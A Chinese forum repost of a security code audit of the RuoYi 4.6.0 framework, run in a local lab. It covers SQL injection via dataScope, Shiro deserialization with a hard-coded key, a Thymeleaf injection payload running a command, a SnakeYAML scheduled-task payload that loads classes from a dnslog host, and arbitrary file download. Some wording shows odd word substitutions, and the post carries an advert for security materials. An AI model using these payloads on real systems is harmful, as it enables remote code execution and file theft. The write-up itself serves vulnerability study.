ToB企服应用市场:ToB评测及商务社交产业平台

标题: 若依 RuoYi4.6.0 代码审计 [打印本页]

作者: 我可以不吃啊    时间: 2024-10-24 11:25
标题: 若依 RuoYi4.6.0 代码审计
环境布置:
到官网下载源码:https://github.com/yangzongzhuan/RuoYi
采用phpstudy集成数据库,5.7版本。JDK1.8。
IDEA打开项目,等待主动加载,修改application-druid.yml配置文件:数据库名,账号密码,连接数据库,修改application.yml中的端口,克制与80端口辩论。
[img=720,362.8871067242443]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602199.png[/img]

导入:quartz.sql与ry_20201214.sql文件。
运行RuoYiApplication文件。
访问后台:http://localhost:25001/login
[img=720,419.59183673469386]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602200.png[/img]

Sql注入漏洞:
由于该项目采用了mybatis开发,常见的找sql注入的方法就是全局搜索${
定位到可疑参数:
[img=720,490.05]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602201.png[/img]

根据id值selectRoleList全局搜索,从xml定位到dao层:
[img=720,517.2052401746724]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602203.png[/img]

右键单击,找该接口的利用,在利用处发现selectRoleList方法,全局搜索该方法,定位controller层查看接口与传参:
[img=720,615.897047691143]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602204.png[/img]

如下,定位到controller层:
[img=720,388.53818181818184]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602205.png[/img]

分析代码:起首以@RequiresPermissions注解表明接口访问权限,再以@PostMapping注解表明接收接口,而且以@ResponseBody注解表明回将返回值写入http响应。
此方法会接收一个SysRole范例的role值,而且将接受的role值以selectRoleList方法处理后返回给list,最后返回给http响应。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习发展路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技能电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战本领手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
于是我们现在必要分析
1:role对象在接收它的参数时是否有过滤,
2:selectRoleList方法在处理role接收后的值是否有过滤。
跟进SysRole类,发现无过滤:
[img=720,494.04795486600847]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602206.png[/img]

跟进selectRoleList方法,发现无过滤:
[img=720,321.1914893617021]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602207.png[/img]

于是确定原dataScope参数存在sql注入,到前端功能找对应数据包。
[img=720,373.9226519337017]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602208.png[/img]

[img=720,709.5903614457832]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602209.png[/img]

发现不存在dataScope参数,手动添加:
[img=720,267.26920593931567]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602210.png[/img]

将localhost换成主机IP,放入sqlmap验证
[img=720,331.34751773049646]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602211.png[/img]

Shiro反序列化:
起首查看项目pom文件,发现shiro版本为1.7.0:
[img=720,374.6289752650177]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602212.png[/img]

全局搜索cipherKey,定位到密钥值:
[img=720,519.9575821845175]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602213.png[/img]

由此结合shiro反序列化利用工具利用。
Shiro未授权访问:
查看shiro配置文件ShiroConfig.java,anon为匿名拦截器,不必要登录就能访问。authc为登录拦截器,必要登录认证才能访问。
[img=720,602.7657992565056]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602214.png[/img]

Thymeleaf模板注入:
本框架采用了 Thymeleaf 模板,全局搜索::
[img=720,518.037]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602215.png[/img]

根据Mapping构造路径,发送poc
fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
[img=720,472.258064516129]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602217.png[/img]

计划任务RCE:
如图添加计划任务
将调用目标字符修改如下:
  1. org.yaml.snakeyaml.Yaml.load(\'!!javax.script.ScriptEngineManager
  2. \[!!java.net.URLClassLoader \[\[!!java.net.URL
  3. \["http://w2h0ib.dnslog.cn"\]\]\]\]\')
复制代码
[img=720,475.45023696682466]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602218.png[/img]

调用执行:
[img=720,319.9368587213891]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602219.png[/img]

dnslog出现响应:
[img=720,377.3049645390071]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602220.png[/img]

任意文件下载漏洞:
继续如上创建定时任务:
  1. ruoYiConfig.setProfile(\'/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\')
复制代码
执行后访问如下路径实现文件下载:
/common/download/resource?resource=.zip
[img=720,195.91274397244547]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602221.png[/img]

跟踪下载路径定位代码:
[img=720,494.27027027027026]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602222.png[/img]

该处代码先接收resource的值,再将该值放入checkAllowDownload方法里面校验后,进入下载文件的代码调用。
于是跟进checkAllowDownload方法:
[img=720,399.2481203007519]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602223.png[/img]

发现该方法主要做了两件事:
1:禁止掉resource中的目次穿越../
2:以白名单形式检查文件下载规则
这里主要跟进一下2的代码:
取点后缀:
[img=720,271.0184633710542]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602224.png[/img]

再以点后缀举行白名单匹配:
[img=720,350.72042300066096]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602225.png[/img]

如果在原controller层if判断为假,进入下载文件代码流程:
[img=720,431.91637630662024]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602226.png[/img]

至此可发现下载文件的路径不可控,且范例存在白名单限制!
此时我们继续跟进本地资源路径的代码:
[img=720,306.8085106382979]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602227.png[/img]

我们可以发现本地资源路径是通过getProfile举行获取,且该RuoYiConfig类存在setProfile方法,由此可知,可以通过计划任务调用该类的setProfile方法设置好路径,直接绕过了前面的if过滤:
[img=720,331.8705603788477]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410231602228.png[/img]

之后即可调用/common/download/resource接口任意下载文件。
更多网安技能的在线实练习习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4